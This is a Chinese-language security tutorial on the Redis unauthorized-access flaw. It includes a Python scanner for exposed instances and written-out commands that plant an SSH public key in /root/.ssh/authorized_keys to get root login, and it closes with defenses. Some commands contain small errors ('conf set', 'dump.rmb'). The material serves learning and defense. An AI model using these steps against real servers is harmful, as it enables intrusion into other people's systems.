Redis未授權訪問漏洞
前言
傳統數據庫都是持久化存儲到硬盤中,所以執行某些業務時傳統數據庫並不是很理想。redis等數據存儲在內存中的數據庫就應允而生了。基於內存的Redis讀速度是110000次/s,寫速度是81000次/s 。但是基於內存的缺點就是斷電即失,如果服務器產生了意外,內存中的數據就會全部丟失,企業使用redis就冒着很大的風險。所以redis支持持久化存儲(rbd與aof),在滿足一定條件的情況下會自動保存到硬盤或者通過命令手動保存到硬盤。
上面的一切都很美好,直到一群搞安全的人發現redis中的默認配置是空口令(可以遠程登錄直接讀取服務器內存中的數據),然后進入redis中發現可以手動更改持久化存儲的路徑和文件名(這樣就可以在指定的路徑寫入某些的特殊的內容)--------->redis未授權訪問漏洞就誕生了。
redis相關命令
-
redis-cli
- -h 連接指定host
- -p 指定端口
- -x 從標准輸入中讀取數據並且作為redis-cli的最后一個參數
root@b6134771890d:/data# echo 123|redis-cli -h 127.0.0.1 -p 6379 -x set test OK root@b6134771890d:/data# redis-cli -h 127.0.0.1 -p 6379 127.0.0.1:6379> get test "123\n"
-
config
- config get dir 獲取redis用於文件持久化存儲的路徑
- config get dbfilename 獲取redis用於文件持久化存儲的文件名
- config set dir xxxx 修改路徑
- config set dbfilename xxx 修改文件名
127.0.0.1:6379> config get dir 1) "dir" 2) "/data" 127.0.0.1:6379> config get dbfilename 1) "dbfilename" 2) "dump.rmb"
-
save
redis的數據是可以進行持久化存儲的 有rdb持久化(默認)和aof持久化兩種方式 ========================================================= redis與持久化存儲有關的配置 save 900 1 # 900s內有一個鍵值對被修改則自動持久化存儲 save 300 10 save 60 10000 dbfilename dump.rmb # 默認持久化存儲的文件名 dir /home/redis/data/ # 默認持久化存儲的路徑 ========================================================== 因為需要滿足以上的條件才能自動持久化,這里的save命令是直接手動持久化內存中的數據
漏洞利用
漏洞產生條件:
- redis綁定在 0.0.0.0:6379,且沒有進行添加防火牆規則避免其他非信任來源ip訪問等相關安全策略,直接暴露在公網。
- 沒有設置密碼認證(默認為空),可以免密碼遠程登錄redis服務。
文件寫入原理
因為redis-cli遠程連接redis之后,除了可以查看內存中的鍵值對外還可以通過config set dir xxx、config set dbfilename xxx等命令,在權限足夠的情況下可以實現在任意路徑寫入任意內容。如果將dbfilename指定到web網站的某個目錄下通過寫入特定內容 生成webshell,如果將dbfilename指定為ssh公鑰存放的目錄,這樣就產生了ssh遠程登錄的漏洞......
漏洞危害:
- 攻擊者無需認證訪問到內部數據,可能導致敏感信息泄露,黑客也可以惡意執行flushall來清空所有數據;
- 攻擊者可通過EVAL執行lua代碼,或通過數據備份功能往磁盤寫入后門文件(webshell);
- 最嚴重的情況,如果Redis以root身份運行,黑客可以給root賬戶寫入SSH公鑰文件,直接通過SSH登錄受害服務器
webshell利用前提:
1.靶機redis連接未授權,在攻擊機上能用redis-cli連上,並未登陸驗證
2.開了web服務器,並且知道路徑
ssh登陸利用前提:
1.redis以root身份運行
反彈shell利用前提:
1.權限足夠!
python腳本掃描未授權訪問漏洞
import socket
def redis_access(target_ip: str, port: int):
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
payload = "\x2a\x31\x0d\x0a\x24\x34\x0d\x0a\x69\x6e\x66\x6f\x0d\x0a"
try:
sock.connect((target_ip, port))
sock.send(payload.encode())
response = sock.recv(1024).decode()
if 'redis_version' in response:
return True
else:
return False
except Exception as e:
return False
redis_access('192.168.0.107', 6379)
通過寫入SSH公鑰實現ssh登錄
-
首先在攻擊機中生成ssh公鑰(生成的內容在.ssh中)
ssh-keygen -t rsa
-
將公鑰寫入到某個文件
(echo -e"\n";cat id_rsa.pub;echo -e "\n")>xx.txt
-
將xx.txt中的內容作為值寫入到hack鍵中
cat xx.txt | redis-cli -h 192.168.0.107 -p 6379 -x set hack
-
連接redis
redis-cli -h 192.168.0.107 -p 6379
-
更改redis備份路徑為ssh公鑰存放目錄
conf set dir /root/.ssh
-
設置上傳公鑰的備份文件名字為authorized_keys
conf set dbfilename authorized_keys
-
save命令保存
-
現在即可通過ssh登錄服務器了
防御策略
-
配置redis口令
-
低權限運行redis服務(就算進入了redis也不會對服務器產生更大的影響)
-
禁止外網訪問redis